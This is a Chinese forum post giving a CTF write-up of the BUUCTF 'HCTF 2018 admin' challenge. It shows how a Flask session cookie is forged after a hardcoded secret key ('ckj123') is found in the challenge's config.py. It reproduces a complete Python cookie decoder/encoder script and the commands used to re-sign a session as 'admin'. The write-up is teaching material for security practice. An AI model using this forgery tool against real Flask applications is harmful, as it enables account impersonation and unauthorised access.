首页
社区
课程
招聘
[原创]Flask之Session伪造
发表于: 2022-4-15 11:04 6490

[原创]Flask之Session伪造

2022-4-15 11:04
6490

 

title: Flask之session伪造
cover: cover.jpg
tags:

  • web
  • CTF
    categories: CTF
    abbrlink: 48035
    date: 2021-05-18 08:41:35

前言

本文结合CTF中遇到的题目来说一下session伪造,虽然已经有很多师傅写了,而且写的都特别好,但是还是想自己记录一下,也方便以后复习。ciscn中就有一个session伪造的题,由于之前没有做过就没做出来,还是有点遗憾的。但比较戏剧性的是,上午比赛刚结束,下午刷BUU的时候就遇到了同样的题目。嗐,还是自己太菜,下面就结合BUUCTF中的[HCTF 2018]admin来说一下,文中比较拙劣的地方还请师傅们指正一下。参考文章

正文

本来这个题是有三种解法的,分别是:flask session伪造、Unicode欺骗、条件竞争。但是由于本篇文章主要讲解flask session伪造,所以就不再讲另外两种方法啦。

 

welcome

 

因为已经遇到了相似的了,所以也知道是为了拿到admin账号,我就直接注册了,不过ciscn的那个题在注册那里多了一个md5截断爆破,既然这里没有就直接注册。

 

register

 

可以看到已经存在admin用户了,所以先随便注册一个普通用户,不过刚开始还以为是SQL注入,试过以后都不行,看了其他师傅的文章才知道是session伪造。

 

在将session伪造前需要提一下的是,session一般都是存储在服务器端的,但是由于flask是轻量级的框架,所以让session存储在了客户端的cookie中,也正是因为这个才导致了session伪造的漏洞,从而达到冒充其他用户的目的。

 

github

 

可以看到在更改密码的页面源码里面有GitHub的项目地址

 

github2

 

这里直接让源码下载到本地看一下,emmmm,只怪我代码审计能力不行,还是看了其他师傅的文章才找到了flask用来签名的secret_key,就在config.py文件里面

1
2
3
4
5
6
import os
 
class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

接下来我们就先让我们登录成功的session复制下来解密,注意得是登录成功以后的

 

session

 

就是response响应包的session值,然后我们就开始解密,解密加密脚本可以直接从github上面下载,但是有时候github国内访问不了,我这里也在放一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
 
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
 
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod
 
# Lib for argument parsing
import argparse
 
# external Imports
from flask.sessions import SecureCookieSessionInterface
 
class MockApp(object):
 
    def __init__(self, secret_key):
        self.secret_key = secret_key
 
 
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
 
 
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
 
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
 
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
 
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)
 
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)
 
    ## get args
    args = parser.parse_args()
 
    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

我这里放的是python3的脚本,如果想用python2版本的师傅可以自行下载哈。

脚本使用方法

解密:python flask_session_cookie_manager3.py decode -s "secret_key" -c "需要解密的session值"

加密:python flask_session_cookie_manager3.py encode -s "secret_key" -t "需要加密的session值"

 

session_decode

 

可以看到session已经解密为明文了,下面就让解密后的session值复制下来,让用户名改为admin就可以了,再进行加密之后替换掉原来的session值就可以了

 

session_encode

 

在加密的时候让用户名teng替换为了admin,然后直接在浏览器中修改一下session值就可以了,也可用bp抓包修改

 

alter_session

 

修改过后刷新一下页面就可以啦

 

flag

 

可以看到现在已经是admin用户了,并且flag也出来, 另外两种方法就不在这里写了,感兴趣的师傅可以看前面放的参考的师傅文章链接。

结语

通过这次ciscn又充分认识到自己的技术还是太菜,记录这次做题经历呢也是想更充分了解其中的原理,从而也可以思考一下真实环境下的安全隐患。本文中个人见解错误的地方还请师傅们帮忙指正。

路漫漫其修远兮,我的网安之路还很长,加油


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 452
活跃值: (6128)
能力值: ( LV12,RANK:580 )
在线值:
发帖
回帖
粉丝
2
图片不显示了
2022-4-15 12:25
0
游客
登录 | 注册 方可回帖
返回
//